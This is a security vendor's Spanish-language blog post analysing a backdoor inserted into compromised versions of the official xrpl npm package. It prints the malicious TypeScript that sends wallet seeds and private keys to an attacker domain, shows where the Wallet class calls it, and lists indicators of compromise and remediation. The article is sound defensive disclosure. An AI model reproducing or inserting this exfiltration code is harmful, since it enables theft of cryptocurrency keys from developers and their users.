Aikido

Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con una puerta trasera de robo de criptomonedas

Charlie EriksenCharlie Eriksen
|
#
#

El 21 de abril, a las 20:53 GMT+0, nuestro sistema, Aikido Intel, comenzó a alertarnos sobre cinco nuevas versiones del paquete xrpl. Es el SDK oficial para XRP Ledger, con más de 140.000 descargas semanales. Confirmamos rápidamente que el paquete oficial de NPM de XPRL (Ripple) había sido comprometido por atacantes sofisticados que insertaron una puerta trasera para robar claves privadas de criptomonedas y obtener acceso a monederos de criptomonedas. Este paquete es utilizado por cientos de miles de aplicaciones y sitios web, lo que lo convierte en un ataque a la cadena de suministro potencialmente catastrófico para el ecosistema de las criptomonedas.

Este es un desglose técnico de cómo descubrimos el ataque.

El paquete xrpl en npm

Nuevos paquetes publicados

El usuario mukulljangid había publicado cinco nuevas versiones de la librería a partir del 21 de abril, a las 20:53 GMT+0:

Paquetes maliciosos

Lo interesante es que estas versiones no coinciden con las publicaciones oficiales vistas en GitHub, donde la última publicación es 4.2.0:

La última publicación de GitHub cuando se lanzaron los paquetes.

El hecho de que estos paquetes aparecieran sin una publicación coincidente en GitHub es muy sospechoso.

El código misterioso

Nuestro sistema detectó código inusual en estos nuevos paquetes. Esto es lo que identificó en el src/index.ts archivo en la versión 4.2.4 (Que está etiquetada como latest):

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

Todo parece normal hasta el final. ¿Qué es esta checkValidityOfSeed función? ¿Y por qué está llamando a un dominio aleatorio llamado 0x9c[.]xyz? ¡Profundicemos!

¿Cuál es el dominio?

Primero examinamos el dominio para determinar si podía ser legítimo en absoluto. Consultamos los detalles de whois:

Información Whois de 0x9c[.]xyz

Así que esto no es muy alentador. Es un dominio completamente nuevo. Muy sospechoso.

¿Qué hace el código?

El código en sí solo define un método, pero no hay llamadas inmediatas a este. Así que investigamos si se utiliza en algún lugar. ¡Y sí, se utiliza!

Resultados de búsqueda de la función maliciosa

Observamos que se invoca en funciones como el constructor de la Wallet clase (src/Wallet/index.ts), robando claves privadas tan pronto como se instancia un objeto Wallet:

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

Y estas funciones:

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

¿Por qué tantos incrementos de versión?

Al investigar estos paquetes, observamos que los dos primeros paquetes lanzados (4.2.1 y 4.2.2) eran diferentes de los demás. Realizamos una comparación (diff) a tres vías en las versiones 4.2.0 (Lo cual es legítimo), 4.2.1, y 4.2.2 para averiguar qué estaba sucediendo. Esto es lo que observamos:

  • A partir de 4.2.1, la scripts y prettier configuración fue eliminada de package.json
  • La primera versión en insertar código malicioso en src/Wallet/index.js fue 4.2.2.
  • Ambos 4.2.1 y 4.2.2 contenían un código malicioso build/xrp-latest-min.js y build/xrp-latest.js.

Si comparamos 4.2.2 con 4.2.3 y 4.2.4, observamos más cambios maliciosos. Anteriormente, solo se había modificado el código JavaScript empaquetado. Estos también incluían los cambios maliciosos en la versión TypeScript del código.

  • Los cambios de código mostrados anteriormente en src/index.ts.
  • El cambio de código malicioso en src/Wallet/index.ts.
  • En lugar de que el código malicioso se insertara manualmente en los archivos compilados, la puerta trasera insertada en index.ts se invoca. 

De esto, podemos observar que el atacante estaba trabajando activamente en el ataque, probando diferentes formas de insertar la puerta trasera mientras permanecía lo más oculto posible. Pasó de insertar manualmente la puerta trasera en el código JavaScript compilado, a introducirla en el código TypeScript y luego compilarla en la versión final.

Aikido Intel

Este malware fue detectado por Aikido Intel, el feed de amenazas público de Aikido que utiliza LLMs para monitorizar gestores de paquetes públicos como NPM e identificar cuándo se añade código malicioso a paquetes nuevos o existentes. Si deseas protegerte contra malware y vulnerabilidades no reveladas, puedes suscribirte al feed de amenazas de Intel o registrarte en Aikido Security

Indicadores de Compromiso 

Para determinar si ha podido ser comprometido, aquí tiene los indicadores que puede utilizar:

Nombre del paquete

  • xrpl

Versiones del paquete

Compruebe su package.json y package-lock.json para estas versiones:

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Preste atención si tenía el paquete como una dependencia que no se fijó con un archivo package lock, o si estaba utilizando una especificación de versión aproximada/compatible como ~4.2.0 o ^4.2.0, por ejemplo.

Si cree que ha podido instalar alguno de los paquetes anteriores en el periodo comprendido entre el 21 de abril a las 20:53 GMT+0 y el 22 de abril a las 13:00 GMT+0, revise sus registros de red en busca de conexiones salientes al siguiente host:

Dominio

  • 0x9c[.]xyz

Remediación

Si cree que ha podido verse afectado, es importante asumir que cualquier seed o clave privada procesada por el código ha sido comprometida. Esas claves ya no deberían utilizarse, y cualquier activo asociado a ellas debería trasladarse a otra wallet/clave de inmediato. Desde que se reveló el problema, el equipo de xrpl ha lanzado dos nuevas versiones para anular los paquetes comprometidos:

  • 4.2.5
  • 2.14.3
4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.